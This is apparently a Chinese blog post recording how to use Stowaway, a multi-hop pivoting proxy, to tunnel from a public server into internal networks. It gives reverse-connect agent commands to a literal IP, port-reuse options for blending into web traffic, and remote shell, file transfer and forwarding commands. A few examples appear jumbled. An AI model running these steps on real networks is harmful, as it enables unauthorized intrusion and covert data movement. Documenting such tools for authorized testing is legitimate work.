Stowaway多节点内网穿透测试记录
最近看到个代理工具,感觉还不错,所以做了下记录。Stowaway是一个利用go语言编写的多级代理工具。用户可使用此程序将外部流量通过多个节点代理至内网,并实现管理功能。测试以后发现这个工具的优点除了多层内网中继代理以外以及管理以外,还具有稳定、多种方式进行隧道连接的特点, 节点间的流量也是以AES-256(CBC模式)进行加密 。缺点也很明显,客户端竟然有5M大,在实战中,确实过于庞大了。不过最重要的还是在于趁手,特定情况下,还是能提供一个不错的选择。
项目地址: https://github.com/ph4ntonn/Stowaway
Stowaway分为admin端和agent端两种形式
第一种情况,Admin端监听,等待startnode连接。可以理解为将目标内网反向连接到我们的公网服务器上。
Admin端:
1 | ./stowaway_admin -l 9999 -s scantime |
Startnode端:
1 | .\windows_x64_agent.exe -m 59.111.91.147:9999 -l 10000 --startnode -s scantime --reconnect 5 |
–startnode 代表此节点是agent端的第一个节点(开始节点必须加上该参数,若无该参数表示为普通节点)
–reconnect 代表startnode将在admin下线后主动尝试不断重连(此例子中为每5秒重连一次)注意:若需要重连功能,只需要在startnode使用此参数即可,其后节点无需此参数,正常启动即可。
此时若后续的节点希望以passive模式启动(即本节点等待上一级节点的主动连接,而不是主动连接上一节点)
那么,上述startnode命令可改为
Admin端:
1 | ./stowaway_agent -m 59.111.91.147:9999 --startnode -s scantime --reconnect 5 |
Startnode端:
1 2 | \windows_x64_agent.exe -m 59.111.91.147:9999 -l 10000 --startnode -s scantime --reconnect 5 ./linux_x86_agent -m 192.168.253.113:10000 -l 10001 --startnode -s scantime --reconnect 5 |
端口复用:
- 当前Stowaway提供基于SO_REUSEPORT和SO_REUSEADDR特性的端口复用功能及基于iptables的端口复用功能;
- 在linux下可以大部分的功能端口
- 在windows下不可复用iis,rdp端口,可以复用mysql,apache服务的端口
- nginx在默认状态下不可复用
example:
1 2 3 | admin端:./stowaway_admin -c 192.168.0.105:80 -s 123 –rhostreuse startnode端:./stowaway_agent -s 123 --startnode --report 80 --rehost 192.168.0.105 后续节点:./stowaway_agent -s 123 -m 192.168.0.105:80 --rhostreuse |
参数解析:
1 2 3 4 5 6 7 8 | -m 代表上一级节点的地址 -l 代表监听端口(如果不需要监听,也可直接省略) -s 参数代表节点通信加密密钥(admin端与agent端必须一致!) -r 以passive模式启动 -c startnode所在地址 --rhostreuse 开启端口复用模式(在admin端开启) --report 80 端口复用80端口(在startnode端使用) --rehost 复用端口时需要监听的本机ip |
命令解析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | use 1 使用节点1 connect 连接后续节点,需要在admin端的passive模式下使。如:connect 127.0.0.1:1000 tree 查看网络结构 detail 查看节点详细信息 addnote 添加备注 delnote 删除备注 shell 打开shell socks 1080 开启socks(socks5)代理,端口为1080。如果需要设置密码:socks 1080 user password stopsocks 关闭socks代理 ssh 192.168.1.1:22 开启ssh sshtunnel 开启ssh隧道(当防护设备对流量进行控制,仅ssh可通行时,可用该方法将新的节点加入到拓扑中) upload ../test.txt 上传文件 download ../test.txt 下载文件 forward 2222 127.0.0.1:22 将本地端口转发到远程端口 stopforward 关闭端口转发 reflect 22 80 将远程端口转发到本地 stopreflect 关闭远程端口转发 |
DEMO